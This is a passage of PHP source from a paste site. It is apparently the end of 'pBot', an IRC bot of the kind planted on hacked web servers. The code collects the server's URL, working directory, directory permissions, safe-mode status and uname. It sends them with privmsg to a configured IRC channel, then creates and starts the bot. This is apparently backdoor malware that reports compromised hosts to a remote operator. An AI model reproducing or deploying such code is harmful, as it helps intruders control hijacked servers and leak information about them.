  811.          $url = "\00315http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\003";
  812.          $pth = "\00315".getcwd()."\003";
  813.                  
  814.         $pthh =  getcwd()."";
  815.         $perms = fileperms("$pthh");
  816.  
  817.         if (($perms & 0xC000) == 0xC000) { $info = 's';
  818.         } elseif (($perms & 0xA000) == 0xA000) { $info = 'l';
  819.         } elseif (($perms & 0x8000) == 0x8000) { $info = '-';
  820.         } elseif (($perms & 0x6000) == 0x6000) { $info = 'b';
  821.         } elseif (($perms & 0x4000) == 0x4000) { $info = 'd';
  822.         } elseif (($perms & 0x2000) == 0x2000) { $info = 'c';
  823.         } elseif (($perms & 0x1000) == 0x1000) { $info = 'p';
  824.         } else { $info = 'u'; }
  825.  
  826.         // Owner
  827.         $info .= (($perms & 0x0100) ? 'r' : '-');
  828.         $info .= (($perms & 0x0080) ? 'w' : '-');
  829.         $info .= (($perms & 0x0040) ?
  830.                         (($perms & 0x0800) ? 's' : 'x' ) :
  831.                         (($perms & 0x0800) ? 'S' : '-'));
  832.         // Group
  833.         $info .= (($perms & 0x0020) ? 'r' : '-');
  834.         $info .= (($perms & 0x0010) ? 'w' : '-');
  835.         $info .= (($perms & 0x0008) ?
  836.                         (($perms & 0x0400) ? 's' : 'x' ) :
  837.                         (($perms & 0x0400) ? 'S' : '-'));
  838.         // World
  839.         $info .= (($perms & 0x0004) ? 'r' : '-');
  840.         $info .= (($perms & 0x0002) ? 'w' : '-');
  841.         $info .= (($perms & 0x0001) ?
  842.                         (($perms & 0x0200) ? 't' : 'x' ) :
  843.                         (($perms & 0x0200) ? 'T' : '-'));
  844.                        
  845.         $rghts = "\00315".$info."\003";
  846.  
  847.         $this->privmsg($this->config['chan'],"\00314[SAFE:\003\2 $safemode\2\00314]\00315 $url \00314[pwd:]\00315 $pth \00314(\003$rghts\00314) [uname:]\00315 $mname");
  848.         }
  849.  }
  850. $bot = new pBot;
  851. $bot->start();
  852.  
  853.  
RAW Paste Data
Top